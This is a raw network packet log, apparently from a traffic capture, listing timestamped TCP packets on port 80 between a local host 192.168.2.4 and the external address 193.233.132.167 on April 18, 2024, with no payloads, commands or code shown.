Apr 18, 2024 23:40:19.934983015 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935022116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935033083 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935059071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935096025 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935113907 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935133934 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935173035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935201883 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935210943 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935225964 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935249090 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935276985 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935290098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935297012 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935328960 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935338974 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935369015 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935379982 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935410976 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935420990 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935450077 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935465097 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935488939 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935503006 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935527086 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935539007 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935564041 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935575962 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935602903 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935615063 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935642004 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935651064 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935689926 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935692072 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935730934 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935743093 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935770035 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935779095 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935811043 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935822964 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935849905 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935861111 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935888052 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935902119 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935925961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935941935 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.935965061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.935976028 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936003923 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936013937 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936042070 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936053038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936079979 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936088085 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936130047 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936148882 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936187983 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936197996 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936228037 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936235905 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936266899 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936279058 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936305046 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936314106 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936342955 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936356068 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936381102 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936393023 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936419964 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936431885 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936460972 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936470985 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936499119 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936507940 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936557055 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936566114 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936595917 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936606884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936634064 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936645985 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936672926 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936682940 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936711073 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936721087 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936752081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936760902 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936789989 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936801910 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936827898 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936836958 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936866999 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.936873913 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.936918020 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.039783001 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.039827108 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.039854050 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.039882898 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.039957047 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.039995909 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.040000916 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.040035963 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.040072918 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.040087938 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.040118933 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.040132999 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.040172100 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.040174961 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.040273905 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.041717052 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.041755915 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.041769028 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.041801929 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.041801929 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.041840076 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.041882038 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.041893005 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.041930914 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.041968107 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.041974068 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.042006016 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.042007923 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.042043924 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.042077065 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.042085886 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.042738914 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.042923927 CEST	49771	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.043323040 CEST	49779	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178527117 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178569078 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178606987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178628922 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178642988 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178680897 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178689957 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178689957 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178719044 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178719044 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178741932 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178759098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178761005 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178816080 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178828955 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178854942 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178867102 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178894043 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178905964 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178930998 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178941965 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.178970098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.178978920 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.179008961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.179018974 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.179065943 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.179104090 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.179117918 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.179141045 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.179163933 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.179181099 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.179191113 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.179219007 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.179256916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.179270029 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.179296017 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.179305077 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.179346085 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.179905891 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.179943085 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.179956913 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.179992914 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.179996967 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.180037022 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.180057049 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.180079937 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.182600975 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.182640076 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.182656050 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.182679892 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.182688951 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.182718039 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.182727098 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.182755947 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.182774067 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.182794094 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.182816982 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.182831049 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.182841063 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.182869911 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.182881117 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.182908058 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.182920933 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.182946920 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.182955980 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.182985067 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183022022 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183034897 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183058977 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183077097 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183096886 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183108091 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183134079 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183149099 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183175087 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183183908 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183212042 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183248043 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183263063 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183285952 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183296919 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183324099 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183339119 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183367014 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183372974 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183404922 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183442116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183444023 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183464050 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183479071 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183516026 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183530092 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183552980 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183564901 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183592081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183604002 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183629990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183640957 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183669090 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183677912 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183706999 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183722019 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183746099 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183758974 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183784008 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183799028 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183820963 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183830023 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183857918 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183865070 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183895111 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183932066 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183948994 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.183969975 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.183990002 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184009075 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184046984 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184062958 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184084892 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184138060 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184142113 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184180975 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184217930 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184233904 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184257030 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184271097 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184295893 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184308052 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184334993 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184350967 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184374094 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184391975 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184412956 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184427977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184452057 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184463978 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184489012 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184498072 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184526920 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184542894 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184566975 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184577942 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184604883 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184618950 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184642076 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184649944 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184679031 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184691906 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184716940 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184726000 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184755087 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184766054 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184792995 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184803009 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184832096 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184844971 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184869051 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184880018 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184905052 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184916019 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184942961 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184950113 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.184979916 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.184992075 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185017109 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185026884 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185055017 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185064077 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185094118 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185103893 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185132027 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185144901 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185169935 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185208082 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185235023 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185245037 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185257912 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185281992 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185293913 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185321093 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185328960 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185358047 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185395956 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185405970 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185434103 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185444117 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185472012 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185483932 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185511112 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185548067 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185554981 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185575962 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185587883 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185625076 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185625076 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185643911 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185664892 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185678959 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185703039 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185723066 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185740948 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185751915 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185785055 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:20.185796022 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:20.185837030 CEST	80	49768	193.233.132.167	192.168.2.4
